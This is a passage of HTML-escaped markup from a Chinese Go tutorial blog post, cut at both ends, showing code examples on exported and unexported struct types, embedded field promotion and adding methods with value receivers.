User\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e User \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e phone \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e address\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 未公开的 address 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 包含公开的字段 City\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e address \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e City \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e position position\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e position \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Longitude \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Latitude \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 通过工厂函数,返回未公开的变量类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003eNew\u003c/span\u003e\u003cspan class=\"params\"\u003e(num \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e duration {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e duration(num)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// main 包\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epackage\u003c/span\u003e main\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e (\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;go-demo/user\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#34;log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 在 main 包中,试图使用 user 包中的为公开的 duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//var d1 user.duration = 10 // 报错:Unexported type \u0026#39;duration\u0026#39; usage\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 在 main 包中,访问一个 user 包中公开的 Duration 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e d2 user.Duration = \u003cspan class=\"number\"\u003e10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(d2) \u003cspan class=\"comment\"\u003e// 结果:10\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 还可以以工厂函数的方式使用,user 包中未公开的类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e d3 := user.New(\u003cspan class=\"number\"\u003e100\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;type: %T, value:%d\u0026#34;\u003c/span\u003e, d3, d3) \u003cspan class=\"comment\"\u003e// 结果:type: user.duration, value:100\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// main包中尝试访问 user 包中未公开的结构类型 user\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//var u user.user // 报错:Unexported type \u0026#39;user\u0026#39; usage\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// main包中尝试访问 user 包中公开的结构类型 User\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e u user.User\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Printf(\u003cspan class=\"string\"\u003e\u0026#34;%#v\u0026#34;\u003c/span\u003e, u) \u003cspan class=\"comment\"\u003e// 结果:user.User{name:\u0026#34;\u0026#34;}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 访问公开 User 类型的未公开的字段 phone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//log.Println(u.phone) // 报错:Unexported field \u0026#39;phone\u0026#39; usage\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化未公开的字段 phone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u2 := user.User{phone: \u0026#34;176888888888\u0026#34;} // 报错:Unexported field \u0026#39;phone\u0026#39; usage in struct literal\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 访问公开 User 类型的公开的字段 Name\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 给字段赋值\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u.Name = \u0026#34;Jack\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//log.Println(u.Name) // 结果:Jack\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 初始化公开字段\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u3 := user.User{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(u3.Name) \u003cspan class=\"comment\"\u003e// 结果:Jack\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// ------\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// main 包中初始化 user 包中公开的 User 类型中嵌套的未公开的 address 类型\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 报错:Unexported field \u0026#39;address\u0026#39; usage in struct literal\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u4 := user.User{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// address: address{\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// City: \u0026#34;Beijing\u0026#34;,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// },\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003evar\u003c/span\u003e u5 user.User\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 嵌套的结构类型会提升到上级结构中\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u5.City = \u003cspan class=\"string\"\u003e\u0026#34;Beijing\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(u5.City) \u003cspan class=\"comment\"\u003e// Beijing\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 尝试访问子孙级别的嵌套结构的公开的字段\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// 无法访问\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e//u5.Longitude = \u0026#34;xx\u0026#34; //报错:u5.Longitude undefined (type user.User has no field or method Longitude)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"03-给自定义类型增加方法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Golang/Go%E8%AF%AD%E8%A8%80%E7%BB%93%E6%9E%84%E7%B1%BB%E5%9E%8B%E8%AF%A6%E8%A7%A3/#03-%E7%BB%99%E8%87%AA%E5%AE%9A%E4%B9%89%E7%B1%BB%E5%9E%8B%E5%A2%9E%E5%8A%A0%E6%96%B9%E6%B3%95\" class=\"headerlink\" title=\"03. 给自定义类型增加方法\"\u003e\u003c/a\u003e\u003cstrong\u003e03.\u003c/strong\u003e 给自定义类型增加方法\u003c/h2\u003e\u003cp\u003e在Go语言中,编译器只允许为命名的用户定义的类型声明方法。方法跟函数类似,只是方法不会单独存在,一般是绑定到某个结构类型中,给类型增加方法的方式很简单,就是在方法名和 func 之间增加一个参数即可, 这个参数称为方法的接收者。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etype\u003c/span\u003e User \u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name \u003cspan class=\"type\"\u003estring\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 给 User 类型增加方法 Read\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"params\"\u003e(u User)\u003c/span\u003e\u003c/span\u003e Read() {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e log.Println(u.Name, \u003cspan class=\"string\"\u003e\u0026#34;is Reading...\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e​\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// User 类型变量使用 Read 方法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunc\u003c/span\u003e \u003cspan class=\"title\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u := User{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Name: \u003cspan class=\"string\"\u003e\u0026#34;Jack\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e u.Read() \u003cspan class=\"comment\"\u003e// 结果 Jack is Reading...\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e方法的接收者,可以是值接收者,也可以是指针接收者。\u003c/p\u003e\u003cp\u003e而应该使用值接收者还是指针接收者,那要看给这个类型增加或删除某个值时,是创建一个新值,还是要更改当前值?如果是要创建一个新值,该类型的方法就使用值接收者;如果是要修改当前值,就使用指针接收者。\u003c/p\u003e\u003cfigure class=\"highlight go\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan 